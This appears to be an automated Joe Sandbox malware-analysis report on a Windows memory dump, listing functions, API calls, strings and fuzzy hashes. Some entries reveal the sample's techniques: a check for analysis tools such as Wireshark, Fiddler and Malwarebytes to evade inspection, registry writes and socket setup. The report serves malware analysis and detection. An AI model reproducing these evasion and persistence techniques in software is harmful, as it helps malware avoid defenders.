Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseImageThrowtype_info::operator==
String ID: csm$csm$csm
API String ID: 3798665358-393685449
Opcode ID: 18458f1114e23ce66089f8be90dc31260b8c4abc6b9c0a44086fbee8cbe3dec9
Instruction ID: ad298549ee715c2c5f184fbb6ef6d234b7b351680c1be230fbbe49245f9a3382
Opcode Fuzzy Hash: 18458f1114e23ce66089f8be90dc31260b8c4abc6b9c0a44086fbee8cbe3dec9
Instruction Fuzzy Hash: 02F19330658A898BFB54AF68C446BEDB3FAFF54310F6C417DE44683192DB24DE428786

Function 000001CFB960C680 Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 224stringsleepregistryCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 000001CFB960C6C8
wsprintfW.USER32 ref: 000001CFB960C710

Part of subcall function 000001CFB9609790: lstrlenW.KERNEL32 ref: 000001CFB96097C2
Part of subcall function 000001CFB9609790: lstrlenW.KERNEL32 ref: 000001CFB96097DC
Part of subcall function 000001CFB9609790: lstrlenW.KERNEL32 ref: 000001CFB96097E8

lstrlenW.KERNEL32 ref: 000001CFB960C77B
lstrlenW.KERNEL32 ref: 000001CFB960C78E
CreateEventA.KERNEL32 ref: 000001CFB960C8FE
RegOpenKeyExW.ADVAPI32 ref: 000001CFB960C968
CloseHandle.KERNEL32 ref: 000001CFB960C9B0
Sleep.KERNEL32 ref: 000001CFB960C9CE
CloseHandle.KERNEL32 ref: 000001CFB960C9F7
CloseHandle.KERNEL32 ref: 000001CFB960CA16

Strings

o1:, xrefs: 000001CFB960C769
p1:, xrefs: 000001CFB960C750
t1:, xrefs: 000001CFB960C784
Console\1, xrefs: 000001CFB960C95A
%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 000001CFB960C702

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: lstrlen$CloseHandle$CreateEventLocalOpenSleepTimewsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$Console\1$o1:$p1:$t1:
API String ID: 441366266-1614091359
Opcode ID: 7f9d41e5df0e71293687535cee31a1a5d1087bb8ce378bf28795c0271bedb4fe
Instruction ID: 53135ab5495e0ab8ea7d0900a272c7d5e207cf913509dc17d128fe5a356abc42
Opcode Fuzzy Hash: 7f9d41e5df0e71293687535cee31a1a5d1087bb8ce378bf28795c0271bedb4fe
Instruction Fuzzy Hash: 80A1B572244AC286FB249F25E580BED77B3F785B84F50512ADA4A07B95EF38CB46C740

Function 000001CFB9607010 Relevance: 24.6, APIs: 2, Strings: 12, Instructions: 146windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 000001CFB9607032

Strings

TaskExplorer, xrefs: 000001CFB96070D2
ApateDNS, xrefs: 000001CFB960708A
Port, xrefs: 000001CFB9607102
Process, xrefs: 000001CFB96071FE
TCPEye, xrefs: 000001CFB96070BA
Sniff, xrefs: 000001CFB96071D6
Fiddler, xrefs: 000001CFB9607192
Capsa, xrefs: 000001CFB96071C2, 000001CFB96071EA
Wireshark, xrefs: 000001CFB9607132
Malwarebytes, xrefs: 000001CFB96070A2
Metascan, xrefs: 000001CFB960711A
CurrPorts, xrefs: 000001CFB96070EA

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: VisibleWindow
String ID: ApateDNS$Capsa$CurrPorts$Fiddler$Malwarebytes$Metascan$Port$Process$Sniff$TCPEye$TaskExplorer$Wireshark
API String ID: 1208467747-3439171801
Opcode ID: 6b42bebd86f8476637ecc13a6f2ef123198be3f0257b3010f0c26ad4ef994342
Instruction ID: 20e3e29122208959587ecca8d02829c2df11cb786bd823b5ad280cd404fe837d
Opcode Fuzzy Hash: 6b42bebd86f8476637ecc13a6f2ef123198be3f0257b3010f0c26ad4ef994342
Instruction Fuzzy Hash: 0051FE342827DB41FD98AB1AE981BD412B35B557C4F48743EAD4E0679AFB28CF52E300

Function 000001CFB9610090 Relevance: 24.3, APIs: 16, Instructions: 279COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 000001CFB96100B2
SetLastError.KERNEL32 ref: 000001CFB96100D5

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 466eb3fc9af94d755cb386991d0adb2fb6d6ea7260ce2343ca81422ea1881359
Instruction ID: 8765c084d8af3e124cb807ba5eacd4cdc2b7214a827d8b38d8a8bc4812824376
Opcode Fuzzy Hash: 466eb3fc9af94d755cb386991d0adb2fb6d6ea7260ce2343ca81422ea1881359
Instruction Fuzzy Hash: 13B1AC32741AA286FF54CB22D551BA933B3F74AB84F445539DE0A47B90EF38DA56C700

Function 000001CFB96041F0 Relevance: 21.1, APIs: 14, Instructions: 127networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 000001CFB960422B
WSAIoctl.WS2_32 ref: 000001CFB9604280
setsockopt.WS2_32 ref: 000001CFB96042A2
setsockopt.WS2_32 ref: 000001CFB96042C4
WSACreateEvent.WS2_32 ref: 000001CFB96042CA
lstrlenW.KERNEL32 ref: 000001CFB96042D7
WideCharToMultiByte.KERNEL32 ref: 000001CFB96042FA
lstrlenW.KERNEL32 ref: 000001CFB9604314
WideCharToMultiByte.KERNEL32 ref: 000001CFB9604337
gethostbyname.WS2_32 ref: 000001CFB9604344

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWidelstrlensetsockopt$CreateEventIoctlgethostbynamesocket
String ID:
API String ID: 2536029566-0
Opcode ID: 5b059df7fec4f1036d2111c5addf08278f51dd00cf6e6385f9234d437b58964f
Instruction ID: 9c5b89d40a75de29fddc55550565723594d84b81037f694dff471e754c089540
Opcode Fuzzy Hash: 5b059df7fec4f1036d2111c5addf08278f51dd00cf6e6385f9234d437b58964f
Instruction Fuzzy Hash: 30515432614B9186F7249F65F480B9A77B7F788BA4F10522AEE9943B94DF3CC5468B00

Function 000001CFB960EC30 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 121processstringCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000001CFB960EC5B
GetCommandLineW.KERNEL32 ref: 000001CFB960EC61
GetStartupInfoW.KERNEL32 ref: 000001CFB960EC6F
CreateProcessW.KERNEL32 ref: 000001CFB960ECB2
ExitProcess.KERNEL32 ref: 000001CFB960ECBB
lstrlenW.KERNEL32 ref: 000001CFB960ECE0
GetFileAttributesW.KERNEL32 ref: 000001CFB960ED6A
GetLastError.KERNEL32 ref: 000001CFB960ED75
CreateProcessW.KERNEL32 ref: 000001CFB960EDDA

Strings

h, xrefs: 000001CFB960EDD2
, xrefs: 000001CFB960ECA6
WinSta0\Default, xrefs: 000001CFB960ED90

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Process$CreateFile$AttributesCommandErrorExitInfoLastLineModuleNameStartuplstrlen
String ID: $WinSta0\Default$h
API String ID: 3224050902-50515225
Opcode ID: 9788b0c6b52746562918e6521d9e674a2c14dac563895690fbe095de6b773581
Instruction ID: 5ade66342acb64f0b67e1602c55c911d4ef1e5608362cda7339d9086a133975f
Opcode Fuzzy Hash: 9788b0c6b52746562918e6521d9e674a2c14dac563895690fbe095de6b773581
Instruction Fuzzy Hash: 5341A431644AC282FB609B24F4847DEB3B3F784790F50523AEA5947B99EF3CC6568B00

Function 000001CFB939F668 Relevance: 19.6, APIs: 13, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 000001CFB939F6C0

Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0F0A
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0F1C
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0F2E
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0F40
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0F52
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0F64
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0F76
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0F88
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0F9A
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0FAC
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0FC1
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0FD6
Part of subcall function 000001CFB93A0EEC: free.LIBCMT ref: 000001CFB93A0FEB

free.LIBCMT ref: 000001CFB939F6B4

Part of subcall function 000001CFB9399030: _errno.LIBCMT ref: 000001CFB9399050

free.LIBCMT ref: 000001CFB939F6D6
__free_lconv_num.LIBCMT ref: 000001CFB939F6E2
free.LIBCMT ref: 000001CFB939F6EE
free.LIBCMT ref: 000001CFB939F6FA
free.LIBCMT ref: 000001CFB939F71E
free.LIBCMT ref: 000001CFB939F732
free.LIBCMT ref: 000001CFB939F741
free.LIBCMT ref: 000001CFB939F74D
free.LIBCMT ref: 000001CFB939F77A
free.LIBCMT ref: 000001CFB939F7A2
free.LIBCMT ref: 000001CFB939F7BC

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: free$__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 2822633559-0
Opcode ID: 17f21d004e540957a027c9f4d461f3e374196ffda932605389c2d393b89cf90f
Instruction ID: e798bfaf5c06fe67c18f44df73b8b6e47d86daeb11484f425a6411ac0b14df30
Opcode Fuzzy Hash: 17f21d004e540957a027c9f4d461f3e374196ffda932605389c2d393b89cf90f
Instruction Fuzzy Hash: A5411A301619898AFF99AB58C4A1FE973B6FF58344F7C007D941ACA2D2CB21DD92CB11

Function 000001CFB9617ABC Relevance: 19.6, APIs: 13, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 000001CFB9617B14

Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D6A2
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D6B4
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D6C6
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D6D8
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D6EA
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D6FC
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D70E
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D720
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D732
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D744
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D759
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D76E
Part of subcall function 000001CFB961D684: free.LIBCMT ref: 000001CFB961D783

free.LIBCMT ref: 000001CFB9617B08

Part of subcall function 000001CFB9611E00: HeapFree.KERNEL32 ref: 000001CFB9611E16
Part of subcall function 000001CFB9611E00: _errno.LIBCMT ref: 000001CFB9611E20
Part of subcall function 000001CFB9611E00: GetLastError.KERNEL32 ref: 000001CFB9611E28

free.LIBCMT ref: 000001CFB9617B2A
__free_lconv_num.LIBCMT ref: 000001CFB9617B36
free.LIBCMT ref: 000001CFB9617B42
free.LIBCMT ref: 000001CFB9617B4E
free.LIBCMT ref: 000001CFB9617B72
free.LIBCMT ref: 000001CFB9617B86
free.LIBCMT ref: 000001CFB9617B95
free.LIBCMT ref: 000001CFB9617BA1
free.LIBCMT ref: 000001CFB9617BCE
free.LIBCMT ref: 000001CFB9617BF6
free.LIBCMT ref: 000001CFB9617C10

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$ErrorFreeHeapLast__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 518839503-0
Opcode ID: 8a5bcbf2f5b03e6271d90b4b13e59cdc641d44b15ea147a65484282a41bab39a
Instruction ID: acb7339c71762d6e53053dc36f849fbf1ced5cdf1f59b967de879192c93b10da
Opcode Fuzzy Hash: 8a5bcbf2f5b03e6271d90b4b13e59cdc641d44b15ea147a65484282a41bab39a
Instruction Fuzzy Hash: 3D410D326426D285FF599F65D450BE92373EB84B85F496439DA094B2A5CF28CE828390

Function 000001CFB961C780 Relevance: 18.1, APIs: 12, Instructions: 149COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 000001CFB961C7B4

Part of subcall function 000001CFB961C23C: _errno.LIBCMT ref: 000001CFB961C245
Part of subcall function 000001CFB961C23C: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB961C250

_fileno.LIBCMT ref: 000001CFB961C7CF
_fileno.LIBCMT ref: 000001CFB961C7DC
_fileno.LIBCMT ref: 000001CFB961C7EB

Part of subcall function 000001CFB9614E4C: _fileno.LIBCMT ref: 000001CFB9614E69
Part of subcall function 000001CFB9614E4C: _errno.LIBCMT ref: 000001CFB9614E79

_fileno.LIBCMT ref: 000001CFB961C815
_fileno.LIBCMT ref: 000001CFB961C822
_fileno.LIBCMT ref: 000001CFB961C82F
_fileno.LIBCMT ref: 000001CFB961C83E
_fileno.LIBCMT ref: 000001CFB961C868
_fileno.LIBCMT ref: 000001CFB961C875
_fileno.LIBCMT ref: 000001CFB961C882
_fileno.LIBCMT ref: 000001CFB961C891

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _fileno$_errno$_invalid_parameter_noinfo
String ID:
API String ID: 482796045-0
Opcode ID: b0048c473e875f5361daaf0fd704adfa276cbcd020ef96e2e5c96f80651a0148
Instruction ID: a3ac2d87b872ba6f9dae062dd99476613b357be62748e0111656ba71d058cc0a
Opcode Fuzzy Hash: b0048c473e875f5361daaf0fd704adfa276cbcd020ef96e2e5c96f80651a0148
Instruction Fuzzy Hash: BA51F6312945E241FB649B3BC5917FC2773A7467A4F14232AEA6A476D1EB2CCE138300

Function 000001CFB93A34C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB93A34F4
_getptd.LIBCMT ref: 000001CFB93A3508
_getptd.LIBCMT ref: 000001CFB93A3542
_getptd.LIBCMT ref: 000001CFB93A354E
_getptd.LIBCMT ref: 000001CFB93A355A
_CreateFrameInfo.LIBCMT ref: 000001CFB93A356F

Part of subcall function 000001CFB93A1E34: _getptd.LIBCMT ref: 000001CFB93A1E40
Part of subcall function 000001CFB93A1E34: _getptd.LIBCMT ref: 000001CFB93A1E4E
Part of subcall function 000001CFB93A1E34: _getptd.LIBCMT ref: 000001CFB93A1E62

_getptd.LIBCMT ref: 000001CFB93A358D
_getptd.LIBCMT ref: 000001CFB93A3693
_getptd.LIBCMT ref: 000001CFB93A369F

Strings

csm, xrefs: 000001CFB93A3653

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _getptd$CreateFrameInfo
String ID: csm
API String ID: 4181383844-1018135373
Opcode ID: f7c0f49ba4beedef2b7976ee9fce1622404532abdfe6423b84f5cde918012730
Instruction ID: f673afed8ed3a994c3d3f48f6f3673fc9a26aefe03707b0f66abba1ddb6dc5c8
Opcode Fuzzy Hash: f7c0f49ba4beedef2b7976ee9fce1622404532abdfe6423b84f5cde918012730
Instruction Fuzzy Hash: 8C517170558A848FE7A4EF18C045BE9B3F5FF59311F28017DE48AC3662DB30E9428B82

Function 000001CFB9623854 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB9623884

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

_getptd.LIBCMT ref: 000001CFB9623898
_getptd.LIBCMT ref: 000001CFB96238D2
_getptd.LIBCMT ref: 000001CFB96238DE
_getptd.LIBCMT ref: 000001CFB96238EA
_CreateFrameInfo.LIBCMT ref: 000001CFB96238FF

Part of subcall function 000001CFB9622F2C: _getptd.LIBCMT ref: 000001CFB9622F38
Part of subcall function 000001CFB9622F2C: _getptd.LIBCMT ref: 000001CFB9622F46
Part of subcall function 000001CFB9622F2C: _getptd.LIBCMT ref: 000001CFB9622F5A

_getptd.LIBCMT ref: 000001CFB962391D
_getptd.LIBCMT ref: 000001CFB9623A23
_getptd.LIBCMT ref: 000001CFB9623A2F

Strings

csm, xrefs: 000001CFB96239E3

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _getptd$CreateFrameInfo_amsg_exit
String ID: csm
API String ID: 2825728721-1018135373
Opcode ID: ab259648624af678573ba89838dca0527dad1af5f5945908d59d38f32e1ff19f
Instruction ID: 2e86a8a91b97a8e223385b694fed0f12118920e5ce7a8a3de2bda8d7842489f0
Opcode Fuzzy Hash: ab259648624af678573ba89838dca0527dad1af5f5945908d59d38f32e1ff19f
Instruction Fuzzy Hash: AE415D36544BC282E670AB12E440BEAB7B6F785B94F04523AEF9D07B85DF39C956C700

Function 000001CFB961EE80 Relevance: 16.8, APIs: 11, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB961EEA8
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB961EEB3
__wtomb_environ.LIBCMT ref: 000001CFB961EF95
_errno.LIBCMT ref: 000001CFB961EF9E
free.LIBCMT ref: 000001CFB961F08F
SetEnvironmentVariableA.KERNEL32 ref: 000001CFB961F1C0
_errno.LIBCMT ref: 000001CFB961F1CD
free.LIBCMT ref: 000001CFB961F1DB
free.LIBCMT ref: 000001CFB961F1E8
free.LIBCMT ref: 000001CFB961F20F

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$_errno$EnvironmentVariable__wtomb_environ_invalid_parameter_noinfo
String ID:
API String ID: 101574016-0
Opcode ID: ee1a25ee45c2640c7852e1812db1e641d052142c21b4cb8a2d2def99178db119
Instruction ID: 7e385534f2d2bbe3585619cadc4a76cb84b97aecc060e16b688d0b0888dc35e1
Opcode Fuzzy Hash: ee1a25ee45c2640c7852e1812db1e641d052142c21b4cb8a2d2def99178db119
Instruction Fuzzy Hash: 2DA1D231281BE285FA15AB16E910BE966B7FB80BD4F24A53C9E59477D5DF34CE438300

Function 000001CFB9605F50 Relevance: 16.6, APIs: 11, Instructions: 114COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 000001CFB9605F78
EnterCriticalSection.KERNEL32 ref: 000001CFB9605F9A
SetLastError.KERNEL32 ref: 000001CFB9605FAD
LeaveCriticalSection.KERNEL32 ref: 000001CFB9605FB7

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalErrorLastSection$EnterLeave
String ID:
API String ID: 2124651672-0
Opcode ID: f1cd334ff1bf03e48cfd9cd4b3e080a5c9426922d43e00ec9972468f940fc80e
Instruction ID: 40d885cac5990621e7297c2d1291a2c6af0e8d9f567f45a3b5639c5094501b60
Opcode Fuzzy Hash: f1cd334ff1bf03e48cfd9cd4b3e080a5c9426922d43e00ec9972468f940fc80e
Instruction Fuzzy Hash: 07416E322802D68AF754AF25D588F9E73BBFB59791F01523A9A1783290DF38CD46C710

Function 000001CFB96063A0 Relevance: 16.6, APIs: 11, Instructions: 98networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000001CFB96063E4
WSASetLastError.WS2_32 ref: 000001CFB96063F6
LeaveCriticalSection.KERNEL32 ref: 000001CFB9606400

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: f9e10af98ba3564db1dda6833011695fd4e85ea4eaf2b3d34699dd1ebcf9231e
Instruction ID: 6d173fcdd5ea3bf7a4ce33c09462485fe7e306ee5b577ff168753604755d1c43
Opcode Fuzzy Hash: f9e10af98ba3564db1dda6833011695fd4e85ea4eaf2b3d34699dd1ebcf9231e
Instruction Fuzzy Hash: 3F3193303806D282F6146B26E9C5BE97373E765BA0F04923D9E66477D5DF28DD878700

Function 000001CFB960EB50 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 52registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 000001CFB960EBA1
RegDeleteValueW.ADVAPI32 ref: 000001CFB960EBAF
RegCloseKey.ADVAPI32 ref: 000001CFB960EBBA
RegCreateKeyW.ADVAPI32 ref: 000001CFB960EBDA
lstrlenW.KERNEL32 ref: 000001CFB960EBE7
RegSetValueExW.ADVAPI32 ref: 000001CFB960EC09
RegCloseKey.ADVAPI32 ref: 000001CFB960EC14

Strings

Network, xrefs: 000001CFB960EB77
AppEvents, xrefs: 000001CFB960EB7E

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteOpenlstrlen
String ID: AppEvents$Network
API String ID: 3197061591-3733486940
Opcode ID: 32c959de67c7d378e92ef510da6cbe0d70bc71428da5d553c9f85ddad007468a
Instruction ID: 07934d57612afba409887ac19e64c23437e473628a0d94323cf73a9edd34d21c
Opcode Fuzzy Hash: 32c959de67c7d378e92ef510da6cbe0d70bc71428da5d553c9f85ddad007468a
Instruction Fuzzy Hash: 65215C76314A8182FB10AB12F944B8AB372F794BE5F440126EE5907B58CFBCC64ADB04

Function 000001CFB961E9AC Relevance: 15.2, APIs: 10, Instructions: 250COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 000001CFB961EA9F
MultiByteToWideChar.KERNEL32 ref: 000001CFB961EB1E
MultiByteToWideChar.KERNEL32 ref: 000001CFB961EBC5
MultiByteToWideChar.KERNEL32 ref: 000001CFB961EBEB

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: ba1efee0f892db86b8c289ae95d93411e85fb81a9820fec0fc76b2431202ca1c
Instruction ID: c2d8eb8880a749331d632c99716f78e34bf95149d3bd0c391a3dcbc2ebe6cd69
Opcode Fuzzy Hash: ba1efee0f892db86b8c289ae95d93411e85fb81a9820fec0fc76b2431202ca1c
Instruction Fuzzy Hash: 8AA1C5727806E245FB729F15D800BEA6EF3B7447A4F48923AA96A477C5DB34CE42C340

Function 000001CFB961CCE4 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000001CFB961CD7E
malloc.LIBCMT ref: 000001CFB961CDE7
MultiByteToWideChar.KERNEL32 ref: 000001CFB961CE1B
LCMapStringW.KERNEL32 ref: 000001CFB961CE42
LCMapStringW.KERNEL32 ref: 000001CFB961CE8A
malloc.LIBCMT ref: 000001CFB961CEE7

Part of subcall function 000001CFB9611E40: _FF_MSGBANNER.LIBCMT ref: 000001CFB9611E70
Part of subcall function 000001CFB9611E40: HeapAlloc.KERNEL32 ref: 000001CFB9611E95
Part of subcall function 000001CFB9611E40: _callnewh.LIBCMT ref: 000001CFB9611EAE
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EB9
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EC4

LCMapStringW.KERNEL32 ref: 000001CFB961CF1C
